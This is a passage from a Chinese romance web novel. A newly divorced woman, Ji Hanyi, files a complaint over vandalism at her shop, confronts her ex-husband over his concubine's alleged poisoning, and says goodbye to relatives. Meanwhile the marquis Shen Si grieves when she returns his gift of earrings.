季含漪又叫住他:“待会儿去雇几个零工来,用皂角和艾草清洗干净。”
说着她叫容春将钱袋拿出来放到掌柜的手上:“一应开支先从这里头出,记好账目就是。”
铺子里的账目季含漪前日就已经来结清了,转让的事情也交代好了掌柜,铺子里的师傅工钱照旧,若新接手的愿意继续开下去便好,若是不愿,铺子里这些日的收益就让他们分了去。
再有这间铺子要转让出去,也是要清洗干净的。
明掌柜得了季含漪吩咐又忙点头,再去吩咐人去做。
季含漪站在一边树下,手掌撑在树干上低低沉思。
容春过来季含漪的身边低声道:“姑娘,要不就算了吧。”
“明日就要走了,将铺子清理干净转让出去就罢了。”
形势如此,季含漪的确也这么考虑过。
她没有什么时间留在这里耗费这件事情,大舅母那里显然是不待见她与母亲多待下去的,再说她也与外祖母和大舅母说了明日会走,再待下去也要被人多心。
稍微一思量,季含漪又抬头,见着明掌柜正熏香,她闻了一丝香味,忽的一顿。
进了铺子,叫明掌柜去拿纸笔来,季含漪重新写了一份诉状,详详细细的写了三大页纸,再交到明掌柜手上,让他重新去南城兵马司衙门报案。
心底到底是有一口气,即便事情紧迫,季含漪也是不想要让这件事就这么过去的。
她心里想了几个来回,这么不想叫她好过的,她唯只想到谢家,但谢家虽说道貌岸然,但这样的事情也不屑做的,季含漪倒是想到了个人。
只是她没有证据。
明掌柜仔仔细细看了季含漪写的诉状,事发时间,地点,损失物品与价值,还有可疑迹象全写在上头,明掌柜见了都直呼缜密。
特别是看到那可疑的几点与可查的方向,明掌柜一拍脑门朝着季含漪道:“还是夫人思量周密,我竟没想到这个。”
又道:“夫人放心,我这就去,有了夫人这诉状,只要兵马司肯派人,定然能捉到人。”
季含漪见明掌柜拿了诉状就要走,又拉住他,低声在他耳边说了几句话,更让他该打点的打点,兵马司的那些军士番役,不打赏便不会尽心,
明掌柜顿了顿,也忙点头应下来:“夫人放心,等给了诉状我就去安排。”
季含漪又压低声音道:“我也已经和离,往后不必叫我夫人了。”
明掌柜的一愣,呆了好久才反应过来点头。
一应事情安排完,早已过了中午了。
季含漪坐在马车上,又去抱山楼。
马车上,季含漪低头撑着额头,脑中又乱糟糟想着事情,去抱山楼送了画,再去药铺里准备母亲路上吃的药。
本是她都妥帖安排好的事情,忽生这样的事情,叫她脑中发疼,手指却在轻颤,心里头总有一股压抑的心气。
旁边容春忍不住问季含漪:“
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真的能找到是谁做的么?”
季含漪低低看着自己的裙摆失神。
能不能真的找到,她是不知道的。
但是只要兵马司的人肯细心排查,就一定能够找到。
泼粪的人定然是住在离这条街不远的地方才能躲过火甲还有巡检司还有更夫的眼睛,再有该不会是女子,这么来去还能提的动粪桶,还没有在街道上漏出来半点,几乎是不可能的。
最后便是那人做了亏心事,定然要掩人耳目,身上定然沾了味道想要掩盖过去,谁身上忽然出现了香味,谁就可疑一些。
再有,从街头那些青皮无赖或是闲汉里入手,应该是更好查一些,从哪个身上忽然熏了香上头入手。
但是,或许也有意外。
但季含漪现在已经来不及想这么多了。
那人这么做,无非是想让她的生意做不下去罢了。
她更知晓,她最盈利的铺子是这间,开在这里。
季含漪甚至动了报复的心思,可她却不知晓她的铺子开在哪里。
而那人知晓的关于自己的这些,季含漪甚至不用深思,都知晓是谁告诉她的。
真真是憋着一股难受的气。
她又深吸一口气,不让自己的情绪让容春也跟着担心,她闭上眼睛,轻声道:“没事的,只要兵马司的肯照着去查,就一定能查到。”
“不会这么轻易过去的,即便我离了京,还是会让明掌柜留意。”
容春愣了愣,随即也点头。
去了抱山楼送画,季含漪低低与章先生交代一些过后的事情。
章先生接过了画,又看着季含漪:“真的要离开京城?”
章先生如今已经知晓季含漪已和离的事情,初初知晓的时候是震惊不已的,如今又觉得谢家那么大一个门第,却让嫡妻出来卖画,又算是什么好人家,想着也在情理之中。
只是他诧异的是季含漪竟这么快的要离开京城。
季含漪点点头,又朝章先生愧疚道:“铺子转让的事情也要麻烦章先生了,等我安顿好了会来信给先生的。”
章先生轻叹一口气,叹声道:“从前我与你父亲是知己,是挚交,我更敬慕你父亲,何必说麻烦的事情?”
“只要能够帮到你,也算我对你父亲的交代了。”
又道:“铺子转让的事情你放心,我会与牙人交接的,到时候你来了信,我将两间铺子的银子和画钱一并让人给你送过去。”
季含漪又是感激的福了一礼。
从抱山楼下来,容春在身边问:“明早多久走?若是走的早的话,要不去糕点铺子里买些点心,赶路的时候吃也行。”
季含漪听罢也点点头:“母亲喜欢吃沁芳轩的雪花饼,去买一些也好。”
两人在低低说着路上还要买些什么东西,全然没注意到停在旁边的那辆宽大的马车。
沈肆指尖微微掀开帘子一角,眸子静静看着季含漪上从马车一侧过去的背影,她戴着帷帽,步伐些许轻快,好似带着终于要离开这里的欢喜。
第117章 想要挽留她
沈肆的手落在半空中,还是晚了一步。
连季含漪翩翩扬起的一片衣角也没有碰到。
她说话的声音忽远忽近,匀称聘婷的娇小身形如柔软的雨露,细腰纤纤,带起一片涟漪却混不自知,又在他的视线中渐渐远去。
宽大的袖口扫在马车边缘又渐渐下坠,修长的手指缓缓的握紧,他看着她上马车,看着那辆马车开始驶离,张口欲叫她的声音,也全都滚在喉咙里没有说出来。
掀开的帘子落下去,投进的一丝光线又恢复了一片沉暗。
沈肆独自坐在里头,仰头闭着眼往后靠,拨弄在松翠戒上的手指隐隐露出心神起伏。
停在前面的马车缓缓离开,声音搅乱沉寂的深潭。
文安从抱山楼下来,又站在马车外头,对着里头小声开口:“爷,打听到了,刚才季姑娘是去与章先生交代转让铺子的事情。”
沈肆缓缓在昏暗中睁开眼,寂寂眼神里,是良久的隐忍。
她是真的要走了。
站在外头的文安自然能够感受到马车内主子的情绪,里头迟迟沉默,他终于忍着被训斥的后果,小心翼翼的开口:“要是爷主动挽留,季姑娘一定会留下来了。”
沈肆唇边浮起抹自嘲带着丝隐忍的苦笑,或许就是因为自己对她的坦诚,对她的心意全都说给了她,才让她想这么快的离开。
长长的叹息一声,沈肆低头静静看着掌心里的那只耳坠,他视若珍物,是她身上留给他唯一的念想,日日放在他的榻上,他的枕边,他的掌心。
他唯一想她的物件。
唯一能让他排遣思念的东西。
她在拒绝他后就要长长久久的离开了,丝毫不在意他的心思。
她的意思已经很明了的,纠缠不是他的处事。
耳坠包裹在掌心,沈肆沉默半晌,才沙哑着开口:“回去。”
外头文安听到主子这冷清的声音一愣,半分也听不出来主子心里到底在想什么。
他又鼓起勇气小声道:"季姑娘今日又送了画去,主子要去看一眼么?"
马车内又是长久的沉默,接着是沈肆如常冷清又没有情绪起伏的声音:“你去。”
文安赶紧应下,却忍不住回头往马车上看去一眼,主子早早等候在这里,是知晓季姑娘一定会来,是想要留下季姑娘的,为什么又不开口呢。
这头季含漪去了从前常买药的那家药铺,没想却在这里碰见了觉得再也不可能见到的人。
那人是谢玉恒。
只见着谢玉恒站在铺子门口,身上穿着官袍,手上提着一个药包,看样子是中午休息的时候出来来了药铺。
季含漪也才想起,这里离大理寺衙门也并不算远,只是没想到会这么巧。
这家药铺在京城内十分出名,药铺里有位医术十分了得的老先生,季含漪的母亲便常在这里拿药,只是这里诊金贵,药也比别处贵一些,但依旧挡不住这里的生意好。
谢玉恒显然也看见了她,稍微愣了一下,就快步往季含漪面前走了过去。
季含漪见着谢玉恒朝着她走来,眉间蹙了蹙,转身打算待会再过来,却被谢玉恒几个快步一下子挡在了面前。
季含漪还未开口,就听见谢玉恒急促的声音:“含漪,你闹了这么大一场,现在又要来陷害明柔,你究竟想要做什么?”
“我已经如你的愿和离了,你又想用这种方式叫我后悔?”
“你要是再这样闹,你别怪我针对顾家。”
谢玉恒的声音冷清又严肃,他自来是天之骄子,说话的时候,带着一股优越的警告。
季含漪听了谢玉恒的话一顿,抬头看向谢玉恒,即便隔着薄薄的白纱,季含漪也能看清谢玉恒那张依旧雅致冷清的脸庞,他的皮囊依旧好,可现在却叫她觉得面目可憎。
她本来是不愿理会谢玉恒的,可他忽然没头没尾的说了这样一通话。
她当然知晓谢玉恒要是真的要对付顾家,对付她的表哥,他家族里是有法子办到的,可是让季含漪觉得可笑的是,谢玉恒现在说的话。
李眀柔不仅对自己下药,还在谢老太太的寿宴上对他下药,可现在谢玉恒竟然还偏袒着李明柔,说她去陷害李眀柔。
季含漪她顿在谢玉恒面前问:“敢请问问,我陷害她了什么?”
谢玉恒低头紧紧看着薄纱下的季含漪,这会儿正是下午,早春虽冷,但光线已开始明媚,照在她身上粉色衣裳上的鎏金菊花纹上,流转生辉,那张隐隐约约的脸庞即便隔了许久没见她,也依旧能够勾勒出她的模样。
可叫谢玉恒难以隐忍的是,季含漪变得愈来愈叫他觉得陌生。
她的性情,再也不似从前。
他咬着牙问:“是不是你买通了那西域商人上谢府里来闹的?”
“你买通他来诬陷明柔在他那儿买了绝嗣的药,你到底还是看不得明柔成了我的妾室,你依旧怀恨在心,你想要毁了明柔是不是?”
季含漪全听不懂谢玉恒在胡言乱语什么,她觉得他是疯了。
她后退一步,声音也随着冷清:“我与谢大爷已经和离了,你纳不纳妾与我有何干系?”
“你便是纳十个妾又与我什么关系?”
“我全听不明白你到底在说什么,你与其在这里质问我,倒不如你自己去好好查查,让郎中去好好看看你有没有中药。”
谢玉恒忽的冷笑:“含漪,你如今当真是变了。”
“从前你不会说这么多辩解的话的。”
季含漪闭着眼睛,要不是力气悬殊,她是当真想要当街给谢玉恒一个巴掌的。
谢玉恒的声音又响起:“你以为我没有找郎中?郎中已经给我看了,我的身子没有问题。”
“我现在才想起来,当初指认给你下毒的人不也是那个西域商人?”
“你与沈家从前的关系并不一般,我如今细想,恐怕是你步步为营,求得沈家与你做**,就是想要除去明柔是不是?”
“可笑,我之前竟也被你给骗了去,明柔那般柔弱的人,又怎么会做这样的事情?”
“如今她因为这件事被我祖母责罚囚禁,被府里的人指点,她现在已经一病不起,心力交瘁的晕**好几次,你现在是不是满意了?”
谢玉恒说话的时候,步步朝着季含漪逼近,季含漪不由的后退一步,却丝毫不怕的隔着薄纱抬头看着谢玉恒:“我与沈家一起做**?你当沈家如你一样眼瞎,你既这般信任李眀柔
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,你又来质问我做什么?”
“你不是在大理寺么,你不是会查案么?你便让人去查,而不是在这里听了李眀柔的几句话,就由你的猜测血口喷人。”
谢玉恒一愣,随即冷冷看着季含漪:“你不过就是仗着身后有沈家撑腰,才敢这么陷害明柔罢了。”
季含漪亦是冷冷的回看过去:“我诬陷李眀柔做什么?我为什么恨她?就连你在我心里都已经不重要,我会在意李眀柔?还要大费周章的去收买诬陷她?”
季含漪的声音冷清不带感情,听在谢玉恒的心里让他的心蓦的一痛。
其实刚才在忽然看到季含漪的时候,他心里是高兴了那么一瞬的。
他视质问她,怀疑她,可是他心底还有更隐秘自私的想法。
季含漪针对李眀柔,证明她心里还是在意他的,在意他才会去诬陷明柔,才会想要将明柔从身边赶走。
他只想要让她承认她做的事情,他可以对她做的事情既往不咎,只要她能够承诺往后好好善待明柔,他也可以重新接纳她,往后只在乎她一个人。
从前忽视过她的,往后他也好好弥补给她。
只是他没想到,季含漪不但不承认她做过的事情,还说她早已不在乎他了。
所有的话都比不过这一句叫他心神发慌发疼。
怎么会呢,她不在意,又怎么会去陷害明柔。
不过都是她在强壮镇定的说谎罢了。
谢玉恒眼角眉梢此刻都带着凉意,看着季含漪:“你不承认也罢,等我找出证据来,那时候将你送去官府,你别怪我不念及从前的夫妻情分。”
季含漪看了谢玉恒一眼,觉得他的话尤其可笑。
嫁给他的三年,他何曾对她顾及过夫妻情面了。
但季含漪不想与谢玉恒提及这些,她只是淡淡看了他一眼问:“所以,你因为怀疑我,就让人去我铺子里泼粪了?”
谢玉恒一顿,随即皱眉问道:“你在说什么?”
季含漪看了看谢玉恒的神情,脸上的疑惑不是假的,她没有再多说这件事,只是道:“我不需要你的情分,你的情分与我来说也根本没用。”
“但我提醒你一句,我不知晓你是找的什么郎中看的,但我建议你最好找御医看一下。”
刚才季含漪在心里想了想谢玉恒的话,那西域商人季含漪自然知道,沈肆之前在给她的那封信里面也提及了,李眀柔给自己身上放的毒虫便是从那里买来的。
自己嫁给谢玉恒三年没有身孕,如今那西域商人来说李眀柔去他那里买了绝嗣的药,这件事很有可能是真的,只是应该是李眀柔三言两语便将谢玉恒骗住了,再嫁祸在了她的身上。
让谢玉恒吃绝嗣药,让自己三年无子,被林氏和谢玉恒嫌弃,这样的事情说是李眀柔做的,也是当真极有可能的。
只是郎中给谢玉恒把脉没有把脉出什么,季含漪也不得不怀疑郎中是被李眀柔收买了。
她不怕与谢玉恒对簿公堂,她没有做过的事情,谢玉恒也不可能找得到证据。
虽说谢玉恒历来偏袒李眀柔,但要是他知道真的是李眀柔给他下绝嗣药,应该还没有蠢到那个地步还要袒护李眀柔,给她做**。
第118章 永远都不会回头
季含漪的话冷静没有起伏,脸上至始至终都没有出现过谢玉恒想要看见的神情。
谢玉恒忽然有些茫然的看着季含漪。
她原以为季含漪在离开他后,离开谢家之后,她定然会后悔的。
她这样温顺的性子,还有一个重病的母亲,在顾府寄人篱下,她的日子定然不会好过的。
可即便现在她这般素素淡淡,但她眉眼里却依旧没有丝毫后悔。
仿佛她真的对他的事情半点都不在意。
可是她陷害明柔是真的,明柔自小与他一起长大,明柔怎么可能会害他。
明柔为了留在他的身边用尽手段,满心满眼的都是他,又怎么会给他下绝嗣药。
他不会信那西域商人的话。
但季含漪叫她重新找一个郎中来看,这话祖母也与他说过。
给他看诊的郎中是历来给李眀柔看诊的那个先生,但那个先生他相熟,也给她母亲和祖母看诊,应该是不会出错的。
他又深深看了一眼季含漪,眼里的冷意依旧没有消退:“我会再去找太医来看,但要是我的身子真的没有问题,我定然会追究你诬陷。”
季含漪冷淡的看着谢玉恒:“是那西域商人说我指使的,还是你自己猜测的是我诬陷?你若是没有证据还要再来纠缠我,我也不怕将你再告去都察院,说你污蔑。”
“我心心念念,费尽千辛万苦的终于与你没有了瓜葛,终于从谢家脱身离开,我巴不得你一辈子别出现在我眼前,我会去为了你诬陷李明柔?”
“谢玉恒,你头脑发昏的叫我更瞧不上你。”
“我如今就与你说清,往后你我没半点瓜葛,我也永远不会回头,若是我回头,遭天打雷劈!”
谢玉恒被季含漪的话气得脸色发青,震惊的瞪大眼睛看着季含漪连连点头,再满眼失望:“含漪,没想到你如今竟成了这般。”
“你放心,这件事我定然彻查清楚。”
这件事谢玉恒是必然要查清的,现在府里因为这件事全乱了,父亲和祖母要将明柔杖死,明柔那般柔弱的人,那般满心满眼都是他的人,不会害他的。
他定然会查清楚。
季含漪只看了谢玉恒一眼,再淡淡留下两个字:“随便。”
她更不欲与谢玉恒再多说一句话,那个从前自己眼中冷清端方的君子,早就已经面目全非了。
他早不是自己当年见第一眼时的那般样子了。
季含漪没有时间再与谢玉恒在这里纠扯,现在她的哪一件事情都比与与谢玉恒有关的事情重要。
倒是刚才从谢玉恒口中听到的事情让她还稍显得痛快,要是这件事是真的,谢玉恒也是自作自受。
这件事让他自己去查清就再合适不过,他毕竟在大理寺,知晓查案和调查线索的手段和方法。
只是季含漪唯一好奇的是,等到谢玉恒自己亲手查清楚了这件事情之后,他会是什么样的表情。
季含漪想,自己那时候应该早就不在京城了,虽说恐怕也看不到了,但还是期待的。
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从铺子里买了药回来,季含漪先去看了一遍收拾好的东西,明日一早就要走,也不能再出什么疏漏的。
这时候天色微微有些暗,季含漪让容春将药包也拿去收好,先去外祖母那儿坐了一会儿,算是先去与外祖母好好道别,又往大舅母和二舅母那儿去了一趟,给姑娘和表嫂送去了蔷薇露和木樨香油,算作这些日叨扰的谢礼。
二舅母看季含漪是真打算要走,又看她送来这些东西,全是平日里用得着的,倒也不是客气客套,是竟真生了一股不舍来。
她对着季含漪道:“怎么走这么急?你母亲的身子不好,再多留些日子就是。”
季含漪就含笑道:“那头已经安排好了,母亲的意思也是这些日走。”
“我与母亲早点过去,也早点去那头安排收拾妥当。”
刘氏叹息一声,看着季含漪那秀秀气气又白净的模样,又瞧着人这些日好似微微清瘦了些许,唇瓣淡粉,未施铅华,那身上的粉底蓝花的衣裳落在她身上,带了股孱弱,叫人看得心疼。
她也知晓些季含漪这么急着走是不想添麻烦,懂事的叫她心生股愧疚来。
她握紧季含漪的手,虽说知晓这一别怕是往后难见到了,却也还是开口道:“去了之后记得来信,往后也常回来瞧瞧。”
“不管怎么说,舅母是希望你能多呆些日子的,也从没觉得你添了什么麻烦。”
季含漪含笑点头:“我都知晓的,等去了那头,定然会来信回来的。”
刘氏这才又难受的点点头。
季含漪又去了大舅母那里,张氏伸手接过了季含漪的东西,又听说季含漪明日就要走,眉眼间松下来,倒也没说平日里的那些话,难得的对季含漪有了几分好神色道:“那可要还准备些什么东西?我替你张罗着。”
季含漪就摇头道:“一切都准备好了,舅母勿操心。”
张氏本也就没那个心思,不过客气一句,又看季含漪这般说,便笑了笑:“我知晓你一向妥帖,你准备好了便是,若还有什么需要准备的,便差人来与我说一声,也不用与我客气。”
季含漪自然也能听出舅母这话的意思,也依旧笑着点点头。
转头出去的时候,却见着表哥顾晏正静静站在门口看她。
顾晏身上还穿着青色公服,显然是刚从国子监回来不久,修长的身形站在门栏处,视线低低往季含漪看过去,眼神不如从前那般温和,深黑里透着股看不清的神色。
季含漪见着顾晏这般看着她一顿,又开口:“晏表哥。”
赵氏从后头跟出来,见着顾晏这时候回来,不由问道:“今日怎的回的早些,忙完了?”
顾晏看了一眼母亲,稍显敷衍的嗯了一声,又看着季含漪问:“漪妹妹明日就要走了么?”
季含漪跨出到廊下点头:“早些离开,早些去那头收
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拾。”
顾晏的目光追着季含漪的身形,她站在初春生了嫩芽的山茶花前,浅沉的天色湿漉漉的,他默默抿了唇,又点头:“那我明日送漪妹妹一程吧。”
顾晏的话才刚落下,旁边的张氏就急忙开口:“你哪里有空去送,府里又不是没人,你又操这份心做什么?你不上值了?”
“人家顾洵身子也好了,他又没有官身,他不比你方便些?又与你有什么干系。”
季含漪抬头看向顾晏,面容上依旧是半分不计较的神色低低道:“表哥的事情的确更要紧一些,明日的马车我也已经叫前门的替我准备好了,路上不用担心的。”
顾晏捏紧了手,又走到季含漪的身边,他稍默了默没有说话,接着又低低道:“我送漪妹妹回院子去。”
季含漪忙也拒绝:“不用的,也没几步的路。”
顾晏却坚持的站在季含漪的身边,低声道:“我也要出去一趟,我们一起。”
顾晏都已经这么开口了,好似也再没有什么话可说的了,季含漪也只能应下来,又与二舅母告辞。
张氏没有看季含漪,她震惊的目光正紧紧看在自己的儿子身上。
自己养了快二十年的儿子,她自小最骄傲懂事的儿子,在刚才忽然叫她看不明白他。
他虽从未在她面前提起过季含漪,但刚才他看季含漪的眼神,身为母亲,她了解他一些,那绝不是寻常的眼神,那是一种男子看女子的眼神。
她又忽然如遭雷劈,想起从前每每季含漪回来,顾晏总找借口在府里,她那时候没多想,如今一件件想起来,早有踪迹。
张氏想起种种,心里头有一瞬间的心骇,看着季含漪与顾晏两人要一起走出去,张氏忽然提高了音量叫住顾晏:“二郎,你留下,我还有些话与你说。”
顾晏只是冷冷淡淡的回头看她一眼,接着又道:“母亲,待会再与我说便是。”
说着顾晏回头,只是淡淡看了母亲一眼,眼里淡淡,根本没有想留下的意思。
又像是怕母亲再留,还先季含漪一步的走出了院门,片刻要留下的意思都没有。
张氏愣愣站在原地,看着顾晏刚才那眼神动作,心里忽然就生出了股慌来,身子往后踉跄了一步,心里发慌的厉害。
身边的丫头扶着她,担心的问:“夫人怎么了?”
张氏脸色微微发白,又侧头看向身边的丫头问:“你说,她明日就一定能走了吧?”
丫头一愣,反应过来张氏说的她是谁,又忙点头:"表姑娘刚才说明日走,应就就是了吧。"
张氏松了口气的点点头往屋内走,喃喃道:"那就好,她走了就好,别再添乱子了就好。"
这头季含漪与顾晏一块出去,路上顾晏说起了季含漪送的那块砚台,他又伸手递给季含漪一个锦盒,低低道:“漪妹妹送的砚台那般贵重,我很喜欢,这是我给漪妹妹的一点绵薄心意,还望漪妹妹勿要推拒。”
第119章 是沈肆给她的
季含漪自从上回祖母与她说晏表哥想要娶她之后,便有意无意的避开顾晏了。
那块砚台也是她为了还顾晏照顾她母亲,给她母亲送去补品的谢礼,也求个心里无愧,这会儿自然也不会再要顾晏的东西。
她忙伸手推回去,抬头看向顾晏道:“表哥往后的前程高远,身边需要留些体己的东西打点,我亦明白如今顾家的难,不敢再要表哥的东西。”
“从前表哥多照顾我母亲,我心里更是感激的,那砚台不过我还表哥的一点微末心意,表哥也请将东西收回去吧,不然叫我觉得更亏欠表哥的。”
顾晏的指尖微微一凝。
即便季含漪说的隐晦,那话里的意思顾晏还是听明白了。
她送她砚台,不过是为了还恩情。
她疏远的声音,她想要与他之间互不亏欠。
可他照顾姑母,从来都不是要叫她觉得亏欠他。
他喜欢季含漪,自小就喜欢,自小就有护她的心思。
他喜欢她清澈的明眸,喜欢她糯糯又娇气的性子,喜欢她小时候遇到困难总想要寻他庇护的柔弱,在他心里,她是万分珍贵又易碎的薄瓷,需要被捧在掌心好好呵护。
这世间再也没有人如他这般想要照顾好她,呵护好她,叫她永远被娇养在自己的羽翼下,再不受风吹蹉跎。
只是自小到大,她都不曾明白过他的心意。
顾晏落了落眉,看着掌心里她连打开看一眼都不曾的匣子,微微收紧了手。
他又温和笑了声,看着她低声说:“好。”
这里是路口处,一处往惠兰院去,另一处是西苑了,季含漪打算要与顾晏分别告辞,顾晏又开了口,沉稳的声音带着和缓与伤感:“漪妹妹,去了那边,会给我来信么?”
季含漪顿了下,抬头看向顾晏眉眼,眉眼里的不舍很明显,温润的脸庞上依稀见着落寞和隐忍的受伤。
她看着这样的顾晏,心里头忽生了股愧疚来,因着知晓了顾晏对自己有想娶的心思,季含漪刚才说话的时候,声音也刻意的稍疏远客气了些,想来晏表哥也听出来了。
只是晏表哥本也没有做错什么,他更没有嫌弃自己和离过,还想要照顾她。
小时候他也最是照顾她的。
季含漪心生了愧疚,声音里也少了客气,很真挚的看着顾晏:“晏表哥放心,我会来信的。”
季含漪没说是给顾晏来信,毕竟她单独给顾晏去信,也不大合适。
顾晏默然看着季含漪的神情,他心里什么都明白,也不戳破,也笑了笑点头,目送着季含漪先离开。
季含漪转身的时候就松了口气,又回去坐在小炕桌前开始铺纸写信。
信是写给二叔的,此去蔚县,若是顺利的话,应该有一月的路程,到的时候正好是春日变暖的时候。
写好了信,季含漪叫人送出去,视线回转的时候,又见着了那卷放在小炕桌上的画卷。
她顿了下,将画卷重新拿在手里展开。
窗外的光线已经不再透亮,花窗上的木刻雕花还挡住了一些光线,透出一层淡淡的阴影,在徐徐展开的画卷里,犹如透出一股尘封的心事。
这副画季含漪看过摹卷,但真迹展露在眼前的时候,心里那股潮起的心绪还是跟着涌动。
她将展开的画卷放在小桌上,低头目光一寸寸落在山石树木上,细长白净的指尖落在远山上。
父亲曾经心心念念的真迹,父亲曾经一直叹息的遗憾,在经年之后,落到了她的这里。
是沈肆给她的。
安静恬淡的影子落在小炕桌上的青玉镇纸和梅雪砚上,再如缓缓流淌的暗河落在旁边的八宝软枕上。
窗外沙沙声细微,室内安静,季含漪静静看着面前的画,妩妩眉眼里落下淡淡的心事。
她终究没与沈肆好好告别,其实她最想告别的就是他。
要不是他,自己可能现在还在泥潭里与谢家撕扯。
她静静看了这副画良久,直到容春收拾清点完进来,与季含漪说都收拾好了,季含漪才小心的将画卷卷起来,叫容春拿去文房箱里放好。
明日就要走,季含漪又仔细清点银两。
明掌柜那里得留一些用作赔偿的,不能就这么走了,留个烂摊子让明掌柜独自收拾,还有今日下午去请了镖局的人随行赶路,也花费了不少的银子,还有路上的花销,到了蔚县,那间空闲已久的院子定然还要修缮置办,还有二叔那里还要送礼,林林总总算起来,手上的银子已经不太够用了。
这些年因为母亲的病,还有顾家谢家的打点,季含漪也没存下什么银钱,再有她去了蔚县不能坐吃山空,她打算在那里盘下两间铺子,依旧做她熟悉的画铺与装裱,铺子请人与铺子的置办又是一大笔开支,手上还需得留些银钱有备无患。
京城的铺子也不知何时能转卖得出去,总也不能一直等着这笔银子。
她在算盘上一算,心有些凉,银子有些不多了。
想起当初从前自己再季家置办的还算稍好一点的那两件首饰,又叫容春现在拿去当了。
她如今处境只能叫她顾着眼前。
去了蔚县一切未知,定然是不能要二叔的接济的,她还得在那头开画堂,开书楼,
季含漪又去枕下将画中的那对耳坠拿出来,借着窗外的一丝光线,她对着光线细看,上头翠色的翡翠很好看,对着光线玉质也很通透。
沈肆说让她扔了,若是扔了定然是可惜的,但这耳坠又是什么意思,她不明白,也不能要。
季含漪用手帕将耳坠也包裹好,对容春低声吩咐了几句,才叫她现在出去。
只是容春才刚从当铺里出来,却没想到迎头撞上了文安。
文安都在这里,那沈侯爷不是……
文安在这里撞见容春,其实也有点诧异。
侯爷从衙门出来后,难得的去了酒楼小坐,文安知晓,侯爷哪里是有闲心,那是心里头苦闷,上酒楼去消解去了。
一个人坐在房内,历来不饮酒的人,愣是独自一人饮了半
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壶酒。
他守在外头,看着侯爷那什么都不说,什么都强忍的孤独背影更是觉得难过极了,他甚至都想要冲进了顾府去,与季姑娘将侯爷的心事全说了,让季姑娘别走这么急。
又或者是叫季姑娘来看看侯爷如今的模样,但凡只要不是铁石心肠,见了侯爷这般,总该生个几分怜心。
况且侯爷是天上月,是上京城无论走到哪儿都被人争先要巴结的人,又洁身自好,身边一丈内能靠近的女子,他这做长随的三年,也就见着是季姑娘了。
这会儿侯爷还独自在雅间里饮酒,文安怕侯爷吃醉了,正下楼去对面药铺买点醒酒丸来,没成想撞见了容春。
这会儿都天黑了,她们明日一早就要走,这时候还出来做什么?
文安留了个心眼跟着,才看见容春进了当铺又出来,不算是偶遇了。
又见着容春与他问候了一声,便问道:“你去哪儿,去做什么?”
容春想着当首饰毕竟不光彩,便随口说了句:“就是去前头铺子里买点点心。”
文安挑眉,之前还说买点心呢,这会儿天黑了又跑出来买?
他便又问:“那你家主子呢。”
要在的话这可是个好事,因着季姑娘上楼去瞧一眼侯爷,说不定心软了呢。
容春回话的很快:“主子还在府里的。”
文安倒是没再问什么了,很是遗憾下又笑了笑,让容春自去。
容春却从怀里掏出个东西递到文安的面前道:“这是我家姑娘让还给侯爷的,在这儿碰着你了,你便拿去给侯爷吧。”
容春觉得文安也好说话,正巧让文安转交,她也不用上沈府去归还了。
文安看着容春手上的小匣子,有些好奇的接过来问:“是什么东西?”
容春却摇头道:“我家姑娘说侯爷知晓的。”
文安便知道不好过问了,点点头头,见着容春要走,没忍住拉住她又问了句:“当真是明日就要走了?”
容春想着文安知晓也不奇怪的,便道:“东西都收拾好了,明日当真走。”
文安心里不是滋味,却不知晓说什么,只觉得心里头也跟着难过起来。
看着容春转身走进人流里,文安去买了醒酒丸上了酒楼,最上层的雅间里,文安轻轻推开门,轻手轻脚的进去,室内依旧安安静静的,文安怕侯爷醉了,却不敢轻易进去,便小声问了句:“侯爷?”
里头迟迟没有回应。
文安便又小声开口:“小的刚才碰了着了季姑娘身边的那个丫头了。”
果真,他这句话说完没多久,里头就传来侯爷低低带些沙哑的声音:“进来。”
文安应了一声,赶紧进去。
雅间宽敞,他只见着主子坐在一张矮几旁,没有任何凌乱,就连桌上的酒盏与酒杯,都是一丝不苟的放在桌上,连撒出一点都不曾。
要不是这满室的酒味,谁能够会想到侯爷这是在借酒消愁。
这可是他跟侯爷三年,唯一一次看到侯爷独自饮酒。
第120章 她对自己哪怕有一点的在意
文安一进去就小心轻手轻脚的走到了侯爷身边,越是靠近,酒味就越重,历来喜洁净的主子,从前从不会忍受身上有这样的味道的。
知道侯爷想听什么,文安的声音压轻:“小的只见着了那丫头,季姑娘应该是没出来。”
这话说完之后,文安明显的就感觉到侯爷身上又冷淡了几分。
文安就又赶紧接着说下去:“那丫头见着下的,将一个匣子给了过来,说是季姑娘还给侯爷的东西。”
文安说着将手上的盒子递过去。
这盒子里的东西他没打开,也不知晓到底是什么。
只是他才递过去,稍稍一抬头,侯爷此刻身上的那股冷气就吓了他一跳。
本就是冷肃不近人情的面容,冷酷起来也是分外骇人的,从前侯爷在衙门审问的时候,哪个看到侯爷的那张脸,不都得心虚几分。
文安也被吓得一惊,反复的想自己到底是那句话说错了,还是这匣子里是什么东西。
他的确也没想明白,季姑娘会还给侯爷什么东西。
他手上捧着匣子,大气也不敢喘。
沈肆沉默的从文安的手里将匣子拿过来打开,低头静静看着匣子里的那对耳坠,他为季含漪精挑细选的玉石,他亲自画的图纸,他亲眼看过每一处细节为她做的,在她眼里,竟也这般不要紧。
情绪就快要喷涌而出,心里如被**剖开那般疼,他伸手将那对耳坠拿在手心问:“她的丫头亲手给你的?”
问完这句话沈肆紧紧闭着眼睛,手背全是青筋。
他觉得现在的自己分外的可笑,她将自己的一片心意还回来,他却还在心底存了一丝侥幸的想要为她开脱。
他知晓,他不是当真为她开脱,他是为自己,为自己对她的执念开脱。
证明她对自己哪怕有一点的在意。
文安看着侯爷的神情,心头跳了又跳,声音都压低了好许,视死如归道:“是季姑娘的随身丫头亲手给的……”
伴随着侯爷的一声轻嗤,文安冷汗都冒了层。
这耳坠他想起了,这是侯爷前几日日日都要过问的东西,请的是京城最好的金匠与玉匠,每一处细节都要过问,甚至那般忙碌,也要抽出空闲来亲自去看。
那玉是上好的玉,上头镶嵌的珍珠都是用的最好的东珠和青玉石。
文安想了许久,他也没见着侯爷是什么时候将这对耳坠给季姑娘的,更叫他没想到的是,季姑娘竟然将侯爷的一腔真心和心血给还回来了!
估计侯爷这辈子也只受过一回这样的待遇了,被嫌弃至此。
难怪侯爷的脸色会忽然变得这么难看,想来换作是他,估摸着也得要气得吐血。
酒气萦绕的雅间内,文安心里胆战心惊的。
又听到侯爷淡淡冷声的一声出去,叫文安连滚带爬的赶紧退到门后,就怕被殃及到了自己。
暖暖纱灯在敞开的窗户下微微轻颤,夜风在高楼处吹来,纱帘晃动,时不时拂过小案一角,又落在放在角落里的熏炉上。
